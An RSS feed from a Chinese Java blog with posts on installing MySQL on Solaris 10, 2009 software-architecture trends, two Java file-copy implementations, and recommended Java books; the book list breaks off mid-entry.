﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-computerboy</title><link>http://www.blogjava.net/computerboy/</link><description>                 


                                                                        自由|免费|共享</description><language>zh-cn</language><lastBuildDate>Wed, 29 Apr 2026 05:49:46 GMT</lastBuildDate><pubDate>Wed, 29 Apr 2026 05:49:46 GMT</pubDate><ttl>60</ttl><item><title>Solaris10下安装MySQL</title><link>http://www.blogjava.net/computerboy/archive/2010/08/04/327973.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Wed, 04 Aug 2010 13:09:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2010/08/04/327973.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/327973.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2010/08/04/327973.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/327973.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/327973.html</trackback:ping><description><![CDATA[1 下载MySQL<br />
下载页面： http://www.mysql.com/downloads/mysql<br />
选择对应的Solaris版本，目前需要安装的版本是Solaris 10 SPARC 64-bit<br />
2 解压MySQL <br />
转到下载目录，目前本机器放在 /u02/mysqltemp 目录下<br />
#gunzip -d mysql-5.1.49-solaris10-sparc-64bit.pkg.gz<br />
3 创建mysql 的用户组和用户 并指定目录<br />
#groupadd mysql<br />
#useradd -G mysql mysql<br />
＝＝＝＝<br />
mkdir /export/home/mysql<br />
chgrp mysql /export/home/mysql<br />
chown mysql /export/home/mysql<br />
usermod -d /export/home/mysql mysql<br />
＝＝＝＝<br />
如果觉得不需要指定目录，可以个略过创建步骤。<br />
<br />
4 使用pkgadd 安装MySQl 包<br />
#pkgadd -d mysql-5.1.49-solaris10-sparc-64bit.pkg<br />
安装后的MySQL 位于 /opt/mysql/mysql 目录下<br />
<br />
如果不用此文件可以略过此步骤。<br />
4.1 建立目录连接<br />
#cd /usr/local<br />
#ln -s /opt/mysql/mysql/mysql<br />
如果不需要，可以略过此步骤。<br />
<br />
5 在目录/etc下创建mysql.cnf 文件，内如如下：<br />
[mysqld]<br />
basedir=/opt/mysql/mysql<br />
datadir=/opt/mysql/mysql/data<br />
<br />
6 运行MySQL 的post-install 文件，创建数据库 repository 或者叫初始化MySQL<br />
#cd /opt/mysql/mysql<br />
#./scripts/mysql_install_db --defaults-file=/etc/mysql.cnf --user=mysql<br />
或者用:<br />
#./scripts/mysql_install_db&nbsp; --user=mysql<br />
7 启动MySQL<br />
#cd /opt/mysql/mysql<br />
#./bin/mysql_safe -defaults-file=/etc/mysql.cnf -user=mysql<br />
也可以使用如下的方法启动MySQL<br />
#/etc/init.d/mysql start<br />
8 更改MySQL root用户的口令<br />
#/opt/mysql/mysql/bin/mysqladmin -u root password 'new-password'<br />
#/opt/mysql/mysql/bin/mysqladmin -u root -h 机器名称 password 'new-password'<br />
或者登录MySQL 之后用如下的方法更改：<br />
update user set password=PASSWORD('root') where user='root';<br />
9 登录MySQL 命令<br />
#mysql -p <br />
输入新的密码：<br />
或者用如下方法登录<br />
mysql -u root mysql<br />
<br />
10 停止MySQL<br />
#/etc/init.d/mysql stop<br />
<br />
<br />
<img src ="http://www.blogjava.net/computerboy/aggbug/327973.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2010-08-04 21:09 <a href="http://www.blogjava.net/computerboy/archive/2010/08/04/327973.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2009年10个必须知道的软件架构主题</title><link>http://www.blogjava.net/computerboy/archive/2009/04/18/266293.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Sat, 18 Apr 2009 06:20:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2009/04/18/266293.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/266293.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2009/04/18/266293.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/266293.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/266293.html</trackback:ping><description><![CDATA[下面是2009年10个必须知道的软件架构主题列表：
<br />
<a href="http://hinchcliffe.org/archive/2009/03/17/16712.aspx" target="_blank">Dion Hinchcliffe 说道</a>：在过去一年多，经过长时间的平静以后，企业软件架构领域终于又开始令人振奋，我们看到很多重要的新主题出现在潜在游戏修改者的早期主流部分，同时已经进入行业的边缘的一些创新正在开始创造一条新的道路。
<br />
<br />
<strong>重大修改：占据霸权地位的3层和4层应用模型，重量级运行时runtime平台，和经典的面向服务的架构已经主宰了近十年，现在几乎被四分五裂，软件领域出现了一系列新的方式来设计架构软件。</strong>
<br />
<br />
主要变化是，架构师面对新的应用需求，比如可以重复使用的平台，开放API，可以即时支持全球分布，处理数百TB海量数据，以及数以千万用户的挑
战的时候，在寻找新的解决办法。这些创新尤其在今天最大的系统上得到验证，其运行面对独特的挑战：规模，性能，或者特性设置。这些软件的进步，跨过日常软
件，企业系统，到互联网应用，新的移动设备和新兴的社会化网络应用。
<br />
<br />
应用架构的支柱类似关系型数据库模型，单块运行时run-times，和确定的行为，已经被非关系型系统，云计算，和新的以拉式为基础的pull-based 系统所挑战，一致性和数据完整性的重要性有时让位于正常运行时间和效率。
<br />
<br />
让我们不要忘记web 2.0方法，和在线应用和企业架构的设计模式已经越来越稳定。社会化架构，群众外包crowdsourcing，开放供应链open supply chains 已经在最新的软件系统众成为规范，速度比预期快的多。
<br />
<br />
另外，SaaS的迅速发展，超越了传统商业应用的领域，大幅度进入云计算领域；移动网络的普及，无线技术的发展，虚拟化和便携能力的增强，让存储和应用发生了巨大的变化。Web 2.0网络提供的工具和协作性也将进入主流的企业应用，提供富有创意的沟通交互方式。<br />
<br />
<br />
<strong>1。云计算</strong>：这个概念目前非常火爆，但是概念不是那么清楚，涉及面从常规的主机到平台作为服务Platform-as-a-service (PaaS)。我在DZNET上详细定义了云计算，并对厂商进行了分类，<strong>云计算就是下一代的操作系统之战！</strong>
<br />
<br />
<strong>2。非关系型数据库</strong>：Tony
Bain写一篇文章&#8220;关系型数据库已死？&#8221;虽然得出这个结论可能为时过早，但是很多数据库应用一开始更改使用非关系型数据库，尤其是文本的资源为中心的存
储需求。新数据库，比如：CouchDB，Amazon SimpleDB，Drizzle（来自MySQL），Mongo，以及Scalaris
现在越来越成熟。
<br />
<br />
<strong>3。下一代分布式计算</strong>：JavaEye新闻以前曾报道过&#8220;<a href="http://www.javaeye.com/news/5692-yahoo-launched-the-largest-hadoop-production-application" target="_blank">Yahoo! 启动了世界上最大的Hadoop生产应用</a>&#8221;，分布式计算能够处理大量的超乎想象的数据能力。同时商业软件GridGain 和开源的 Disco 也在分布式运算领域发展强劲。
<br />
<br />
<strong>4。Web-Oriented Architecture (WOA)</strong>：REST架构应用更加广泛，在此基础上包括数据代表，安全，完整，组合和分布，这样的应用更加自然，富有效率的建设基于互联网的应用。
<br />
<br />
<strong>5。Mashups</strong>：mashup是糅合，是当今网络上新出现的一种网络现象,将两种以上使用公共或者私有数
据库的web应用，加在一起，形成一个整合应用。一般使用源应用的api接口，或者是一些rss输出（含atom）作为内容源，合并的web应用。
Mashup概念已经融入SOA，为企业架构带来价值。我认为Mashup是下一个最主要的新应用开发模式.
<br />
<strong>
<br />
6。Open Supply Chains via APIs</strong>：有越来越多的企业开始开放API，将填平传统IT应用和互联网应用之间的鸿沟。通过提供API开放供应链系统。
<br />
<br />
<strong>7。动态语言</strong>：动态语言类似Javascript, Perl, Erlang，以及动态语言框架Rails，CakePHP，Grails等都发展非常迅速。
<br />
<br />
<strong>8。Social computing</strong>：通过社会化开发的软件比非社会化开发的软件更加优秀，比如很多开源项目，Wiki等。
<br />
<br />
<strong>9：群众外包crowdsourcing 和 平行生产架构 peer production architectures</strong>：很适合部署到互联网的业务模式，通过互联网聚合群体的智慧和力量。
<br />
<br />
<strong>10。新的应用模式</strong>：随着Facebook和下一代移动应用的出现，widget流行，软件原子化趋势预示者微型应用的时代必将到来。不同的微型应用将嵌入到其他应用中，能够快速平行扩展。<br />
<br />
<br />
<br />
原文查看：<a href="http://hinchcliffe.org/archive/2009/03/17/16712.aspx" target="_blank">http://hinchcliffe.org/archive/2009/03/17/16712.aspx</a>
<br />
<br />
<br />
<img src ="http://www.blogjava.net/computerboy/aggbug/266293.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2009-04-18 14:20 <a href="http://www.blogjava.net/computerboy/archive/2009/04/18/266293.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一个文件复制的两种方法的实现</title><link>http://www.blogjava.net/computerboy/archive/2007/05/25/120020.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 25 May 2007 08:17:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2007/05/25/120020.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/120020.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2007/05/25/120020.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/120020.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/120020.html</trackback:ping><description><![CDATA[<p>一个文件的复制我们大概的思维是通过流来操作，不错。<br>本文也是这样操作的。<br>至于第一种方法是我们一般的操作方式，而第二种方法其实也是一个方式，我们不妨研究一下。<br>闲话少说。看程序。</p>
<p>这个程序我写的是两个方法，支持从命令行操作。<br>例一：<br>package org.stonecn.kernel;<br>import java.io.*;<br>public class FileCopy {<br>&nbsp;/** <br>&nbsp; * 测试程序<br>&nbsp; */<br>&nbsp;public static void main(String[] args){<br>&nbsp;&nbsp;if(args.length!=2)<br>&nbsp;&nbsp;&nbsp;System.err.println("Usage: java FileCopy&lt;source&gt;&lt;destination&gt;");<br>&nbsp;&nbsp;else{<br>&nbsp;&nbsp;&nbsp;try{<br>&nbsp;&nbsp;&nbsp;&nbsp;copy(args[0],args[1]);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;catch(IOException e){<br>&nbsp;&nbsp;&nbsp;&nbsp;System.err.println(e.getMessage());<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;public static void copy(String from_name,String to_name)throws IOException{<br>&nbsp;&nbsp;File from_file=new File(from_name);<br>&nbsp;&nbsp;File to_file=new File(to_name);<br>&nbsp;&nbsp;if(!from_file.exists())<br>&nbsp;&nbsp;&nbsp;abort("no such source file:"+from_name);<br>&nbsp;&nbsp;if(!from_file.isFile())<br>&nbsp;&nbsp;&nbsp;abort("can't copy directory:"+from_name);<br>&nbsp;&nbsp;if(!from_file.canRead())<br>&nbsp;&nbsp;&nbsp;abort("source file is unreadable:"+from_name);<br>&nbsp;&nbsp;/**<br>&nbsp;&nbsp; * 如果目标是一个目录，则使用源文件名作为目标文件名<br>&nbsp;&nbsp; */<br>&nbsp;&nbsp;if(to_file.isDirectory())<br>&nbsp;&nbsp;&nbsp;to_file=new File(to_file,from_file.getName());<br>&nbsp;&nbsp;/**<br>&nbsp;&nbsp; * 如果目标文件存在，则确保它是可写的,并且在覆盖之前先询问<br>&nbsp;&nbsp; * 如果目标文件不存在，则确保存在目录，而且是可写的。<br>&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 此处支持命令行，如果不用可以注视掉。&nbsp;&nbsp;&nbsp; sart&nbsp;&nbsp; <br>&nbsp;&nbsp;if(to_file.exists()){<br>&nbsp;&nbsp;&nbsp;abort("destination file is unwriteable:"+to_name);<br>&nbsp;&nbsp;&nbsp;//询问是否覆盖<br>&nbsp;&nbsp;&nbsp;System.out.print("Overwrite existing file:"+to_file.getName()+"?(Y/N):");<br>&nbsp;&nbsp;&nbsp;//得到用户响应<br>&nbsp;&nbsp;&nbsp;System.out.flush();<br>&nbsp;&nbsp;&nbsp;BufferedReader in=new BufferedReader(new InputStreamReader(System.in));<br>&nbsp;&nbsp;&nbsp;String response=in.readLine();<br>&nbsp;&nbsp;&nbsp;//检查响应，如果不是yes(未做确认),则终止复制<br>&nbsp;&nbsp;&nbsp;if(!response.equals("Y") &amp;&amp; !response.equals("y"))<br>&nbsp;&nbsp;&nbsp;&nbsp;abort("existing file was not overwritten.");<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;else{<br>&nbsp;&nbsp;&nbsp;/**如果文件不存在，检查是否存在目录且是否可写<br>&nbsp;&nbsp;&nbsp; * 如果getParent()返回null，则目录就是当前dir，<br>&nbsp;&nbsp;&nbsp; * 因此查找user.dir系统特性，以得出它是什么<br>&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;String parent=to_file.getParent();&nbsp; //目标目录<br>&nbsp;&nbsp;&nbsp;if(parent == null)<br>&nbsp;&nbsp;&nbsp;&nbsp;parent=System.getProperty("user.dir");<br>&nbsp;&nbsp;&nbsp;File dir=new File(parent);<br>&nbsp;&nbsp;&nbsp;if(!dir.exists())<br>&nbsp;&nbsp;&nbsp;&nbsp;abort("destination directory doesn't exist:"+parent);<br>&nbsp;&nbsp;&nbsp;if(dir.isFile())<br>&nbsp;&nbsp;&nbsp;&nbsp;abort("destination is not a directory:"+parent);<br>&nbsp;&nbsp;&nbsp;if(!dir.canWrite())<br>&nbsp;&nbsp;&nbsp;&nbsp;abort("destination directory is unwriteable:"+parent);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //到此结束&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end&nbsp; <br>&nbsp;&nbsp;/**<br>&nbsp;&nbsp; * 如果走到这了，则一切正常。<br>&nbsp;&nbsp; * 因此可以复制文件，一次复制一个字节缓冲区<br>&nbsp;&nbsp; */<br>&nbsp;&nbsp;FileInputStream from=null;&nbsp;&nbsp; //从源读取的流<br>&nbsp;&nbsp;FileOutputStream to=null;&nbsp;&nbsp;&nbsp; //写至目标的流<br>&nbsp;&nbsp;try{<br>&nbsp;&nbsp;&nbsp;from=new FileInputStream(from_file); //创建输入流<br>&nbsp;&nbsp;&nbsp;to=new FileOutputStream(to_file);&nbsp;&nbsp;&nbsp; //创建输出流<br>&nbsp;&nbsp;&nbsp;byte[] buffer=new byte[4096];<br>&nbsp;&nbsp;&nbsp;int bytes_read;<br>&nbsp;&nbsp;&nbsp;/**<br>&nbsp;&nbsp;&nbsp; * 将一块字节读入缓冲区，然后将其写出<br>&nbsp;&nbsp;&nbsp; * 如果循环，知道达到文件结束(read()返回-1)<br>&nbsp;&nbsp;&nbsp; * 注意，在此while循环中结合了赋值和比较<br>&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;while((bytes_read=from.read(buffer))!=-1)&nbsp; //读，直到EOF<br>&nbsp;&nbsp;&nbsp;&nbsp;to.write(buffer,0,bytes_read);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //写<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;finally{<br>&nbsp;&nbsp;&nbsp;if(from!=null)<br>&nbsp;&nbsp;&nbsp;&nbsp;try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;from.close();<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;catch(IOException e){<br>&nbsp;&nbsp;&nbsp;&nbsp;;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;if(to!=null)<br>&nbsp;&nbsp;&nbsp;&nbsp;try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;to.close();<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;catch(IOException e){;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;/**<br>&nbsp; * 这是抛出异常的一个便利方法<br>&nbsp; */<br>&nbsp;private static void abort(String msg)throws IOException{<br>&nbsp;&nbsp;throw new IOException("FileCopy:"+msg);<br>&nbsp;}</p>
<p>}</p>
<p><br>这个程序的好处是一个安全的。因为有一个静态的copy方法。其他程序也可以使用此方法来复制文件</p>
<p>&nbsp;</p>
<p>我们来看第二个例子</p>
<p>例二：<br>package org.stonecn.kernel;<br>import java.io.*;<br>import java.nio.channels.*;</p>
<p>&nbsp;public class FileCopy2{<br>&nbsp;&nbsp;public static void main(String[] args){<br>&nbsp;&nbsp;&nbsp;FileInputStream fin=null;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //两个文件的流<br>&nbsp;&nbsp;&nbsp;FileOutputStream fout=null;&nbsp;&nbsp;&nbsp;&nbsp; //这些流要在finally块中关闭<br>&nbsp;&nbsp;&nbsp;try{<br>&nbsp;&nbsp;&nbsp;&nbsp;//打开输入文件的一个流，并从中得到一个通道<br>&nbsp;&nbsp;&nbsp;&nbsp;fin=new FileInputStream(args[0]);<br>&nbsp;&nbsp;&nbsp;&nbsp;FileChannel in=fin.getChannel();<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;//下面得到输出通道<br>&nbsp;&nbsp;&nbsp;&nbsp;WritableByteChannel out;<br>&nbsp;&nbsp;&nbsp;&nbsp;//如果有第二个文件名<br>&nbsp;&nbsp;&nbsp;&nbsp;if(args.length&gt;1){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fout=new FileOutputStream(args[1]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out=fout.getChannel();<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;else{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//没有目标文件名<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;out=Channels.newChannel(System.out);&nbsp;&nbsp; //包装stdout流<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;//查询输入文件的大小<br>&nbsp;&nbsp;&nbsp;&nbsp;long numbytes=in.size();<br>&nbsp;&nbsp;&nbsp;&nbsp;/**<br>&nbsp;&nbsp;&nbsp;&nbsp; *采用批量传输的方式将所有字节从一个通道传输到另一个通道<br>&nbsp;&nbsp;&nbsp;&nbsp; *这是fileChannel通道的一个特殊特性<br>&nbsp;&nbsp;&nbsp;&nbsp; *参见FileChannel.transferForm()<br>&nbsp;&nbsp;&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;&nbsp; in.transferTo(0,numbytes,out);<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;catch(IOException e){<br>&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(e);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;finally{<br>&nbsp;&nbsp;&nbsp;&nbsp;try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(fin!=null)&nbsp; fin.close();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(fout!=null)&nbsp; fout.close();<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;catch(IOException e){<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p><br>而这个程序将其第一个参数中指定的文件复制到第二个参数所指定的文件中。<br>如果没有第二个参数则复制到标准输出。</p>
<p>同样的方式，两种实现，这就是我们所说的结果一样，而过程也是千变万化。<br>例二所涉及的包是我以前所没有接触到的。<br>欢迎朋友们来指正。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<img src ="http://www.blogjava.net/computerboy/aggbug/120020.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/computerboy/" target="_blank">Computerboy</a> 2007-05-25 16:17 <a href="http://www.blogjava.net/computerboy/archive/2007/05/25/120020.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java 专业人士必备的书籍和网站</title><link>http://www.blogjava.net/computerboy/archive/2007/02/02/97459.html</link><dc:creator>Computerboy</dc:creator><author>Computerboy</author><pubDate>Fri, 02 Feb 2007 04:11:00 GMT</pubDate><guid>http://www.blogjava.net/computerboy/archive/2007/02/02/97459.html</guid><wfw:comment>http://www.blogjava.net/computerboy/comments/97459.html</wfw:comment><comments>http://www.blogjava.net/computerboy/archive/2007/02/02/97459.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/computerboy/comments/commentRss/97459.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/computerboy/services/trackbacks/97459.html</trackback:ping><description><![CDATA[对于 Java™ 语言开发人员来说，信息过量是一个真正的问题。每个新入行的程序员都要面临一个令人畏缩的挑战：要进入的行业是一个具有海量知识的行业。要了解的东西简直太多了。对于有经验的老手来说，情况只有些微好转。知识量总在增大，仅仅跟上进度就是一个挑战。如果有一份专业人士必备的书籍和网站列表该有多好！本文就是这个列表。它包含了每个专业的 Java 语言程序员在书架或浏览器书签中必备的最重要的书籍和网站。<br /><br /><br /><p><a name="N1005A"><span class="atitle">书籍</span></a></p><p>每个程序员都会有一些由于经常被当作专业资料参阅而磨坏的书。下列书籍应该是 Java 语言程序员的书架上必备的。书很贵，所以我有意将这份列表弄得很短，仅限于重要书籍。</p><p><a name="N10064"><span class="smalltitle">Thinking in Java (Bruce Eckel)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0131002872" target="_blank"><i>Thinking in Java, 3rd edition</i></a> （Bruce Eckel; Prentice Hall PTR，2002 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=24614" target="_blank"><i>Java 编程思想：第3版</i></a> （陈昊鹏 等译; 机械工业出版社，2005 年）<br />Eckel 的书对于学习如何在 Java 语言环境中使用好面向对象技术极其实用。书中大量的代码样例解释了他所介绍的概念。文字出自一个并不认为 Java 技术总是正确答案的人，所以相当地实用。Eckel 具有多种语言的大量经验，还有用面向对象方式进行思考的扎实技能。本书将这些技能放到实用的 Java 语言环境中。他还在写一本新书，名为 <i>Thinking in Enterprise Java</i>。</p><p><a name="N10080"><span class="smalltitle">Effective Java (Joshua Bloch)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0201310058" target="_blank"><i>Effective Java: Programming Language Guide</i></a>（Joshua Bloch; Addison-Wesley，2001 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=8645" target="_blank"><i>Effective Java 中文版</i></a> （潘爱民 译; 机械工业出版社，2003 年）<br />本书是理解优秀 Java 程序设计原则的最佳书籍。大多数材料从其他的 “学习 Java ” 的书中根本找不到。例如，Bloch 书中关于覆盖 <code>equals()</code> 这一章是我读过的最好的参考资料之一。他也在书中包括了很实用的建议：用接口替代抽象类和灵活使用异常。Bloch 是 Sun 公司 Java 平台库的架构师，所以他透彻地了解这门语言。事实上，他编写了该语言中大量有用的库。本书必读！<br /><br />Java Examples in a Nutshell（（美）弗拉纳根 著）<br /><span class="attribute-name"><font face="Times New Roman">&lt;<span class="start-tag">a</span><span class="attribute-name"> href</span>=<span class="attribute-value"><a href="http://www.dearbook.com.cn/book/29570">http://www.dearbook.com.cn/book/29570</a></span><span class="attribute-name">target</span>=<span class="attribute-value">"_blank"</span>&gt;&lt;<span class="start-tag">i</span>&gt;</font><br /><font face="Times New Roman">Java 实例技术手册</font>&lt;/<span class="end-tag">i</span>&gt;&lt;/<span class="end-tag">a</span>&gt;<font face="Times New Roman">(林剑，王宇飞 译<site></site></font><a href="http://www.dearbook.com.cn/book/SearchBook.aspx?press=%E4%B8%AD%E5%9B%BD%E7%94%B5%E5%8A%9B%E5%87%BA%E7%89%88%E7%A4%BE" target="_blank"><font face="Times New Roman">中国电力出版社</font></a><font face="Times New Roman"> 2005年)<br /></font></span><font face="Times New Roman"><br /><br />作者精心打造了这样一本实战型Java图书，全书都围绕着真实世界Java编程实例展开，<br />你将从中获益多多。如果你更倾向于“通过例子”来学习，那么这本书正是你的首选。<br />全新的第三版涵盖了Java 1．4，并收入了193个完整的实战示例，<br />其中包括超过21900行认真编写并作了详尽注释的Java代码，在此涉及20个不同的客户端和服务器端 API。<br />有关XML和servlet的章节已经重写，以涵盖相应规范的最新版本，<br />并展示对于Java 1．4的最佳实践。书中还增加和更新了一些实例，以展示其他一些新的Java特性和API。<br /></font></p><h1> </h1><p>&lt;a href=<a href="http://www.dearbook.com.cn/book/16377">http://www.dearbook.com.cn/book/16377</a>  target="_blank"&gt;&lt;i&gt;J2EE服务器高级编程&lt;/i&gt;&lt;/a&gt;<br />（闻道工作室)<br />本书主要讲解了开发者如何使用J2EE体系结构为各事务组件编写关键逻辑。通过对Java servlet、JavaServer页面及EJB技术的理解，本书示例了如何设计和构建安全且可扩展的Java n层应用。内容包括：如何使用JSP页面分割事务和表示逻辑；如何使用EJB创建可扩展的应用；及如何使用CORBA、XML和Java Message Service与其他系统集成。<br /><a name="N1009F"><span class="smalltitle"><br /><br />The Java Programming Language (Ken Arnold, James Gosling, David Holmes)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0201704331" target="_blank"><i>The Java Programming Language</i></a>（Ken Arnold，James Gosling，David Holmes; Addison-Wesley，2000 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=15495" target="_blank"><i>Java 编程语言（第 3 版）</i></a> （虞万荣 等译，中国电力出版社，2003 年）<br />这也许是能弄到的最好的 Java 入门读物。它并不是一个标准规范，而是一本介绍每门语言特性的可读书籍。这本书在严谨性和教育性方面权衡得很好，能够让懂编程的人迅速被 Java 语言（和其丰富的类库）所吸引。</p><p><a name="N100BA"><span class="smalltitle">Concurrent Programming in Java: Design Principles and Patterns (Doug Lea)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0201310090" target="_blank"><i>Concurrent Programming in Java: Design Principles and Patterns, 2nd edition</i></a>（Doug Lea; Addison-Wesley，1999 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=16303" target="_blank"><i>Java 并发编程—设计原则与模式（第二版）</i></a> （赵涌 等译，中国电力出版社，2004 年）<br />不是每个开发人员都需要如此细致地了解并发性，也不是每个工程师都能达到本书的水准，但却没有比本书更好的关于并发性编程的概述了。如果您对此感兴趣，请从这里开始。Lea 是 SUNY 的一名专业程序员，他的和并发性有关的作品和想法都包含在了 JDK 5.0 规范（引自 JSR166）中，所以您大可放心，他所说的关于有效使用 Java 语言的建议是值得一听的。他是一个很善于沟通的人。</p><p><a name="N100D5"><span class="smalltitle">Expert One-On-One J2EE Design and Development (Rod Johnson)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0764543857" target="_blank"><i>Expert One-On-One J2EE Design and Development</i></a>（Rod Johnson）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=14126" target="_blank"><i>WROX: J2EE 设计开发编程指南</i></a> （魏海萍 译，电子工业出版社，2003 年）<br />对于刚接触 J2EE 的人来说，这是唯一的一本如实反映这项技术的书。本书收录了多年的成功经验和失败经验，不同于其他许多作者，Johnson 乐于将失败的经验公诸于众。J2EE 常常都被过度使用。Johnson 的书能帮您避免这一点。 </p><p><a name="N100F0"><span class="smalltitle">Refactoring (Martin Fowler, Kent Beck, John Brant, William Opdyke, Don Roberts)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0201485672" target="_blank"><i>Refactoring: Improving the Design of Existing Code</i></a>（Martin Fowler，Kent Beck，John Brant，William Opdyke，Don Roberts; Addison-Wesley，1999 年）<br /><a href="http://www.china-pub.com/computers/common/info.asp?id=12901" target="_blank"><i>重构：改善既有代码的设计（中文版）</i></a> （侯捷 等译，中国电力出版社 ，2003 年）<br />Fowler 写了几本现已出版的最流行的编程书，包括 <i>Analysis Patterns</i>。他的关于<i>重构</i> 的书是这一主题的基本书籍。重构代码是被程序员忽略的训练，但却是程序员最直观的想法。重构是在不改变代码结果的前提下改进现有代码的设计。这是保持代码整洁的最佳方式，用这种方法设计的代码总是很容易修改。什么时候进行重构呢？当代码“散发出味道”时。Fowler 的书里满是 Java 语言代码的例子。许多 Java 语言集成开发环境（IDE）（包括了 IBM 的 Eclipse）都将 Fowler 的重构包含了进去，每一个都使用他的重构名命名，所以熟悉如<i>extract method</i> 等重构方法还是很值得的。</p><p><a name="N10114"><span class="smalltitle">Design Patterns (Erich Gamma, Richard Helm, Ralph Johnson, John Vlissides)</span></a></p><p><a href="http://www.amazon.com/exec/obidos/ASIN/0201633612" target="_blank"><i>Design Patterns: Elements of Reusable Object Oriented Software</i></a>（Erich Gamma，Richard Helm，Ralph Johnson，John Vlissides; Addison-Wesley，1997 年）<br /><a 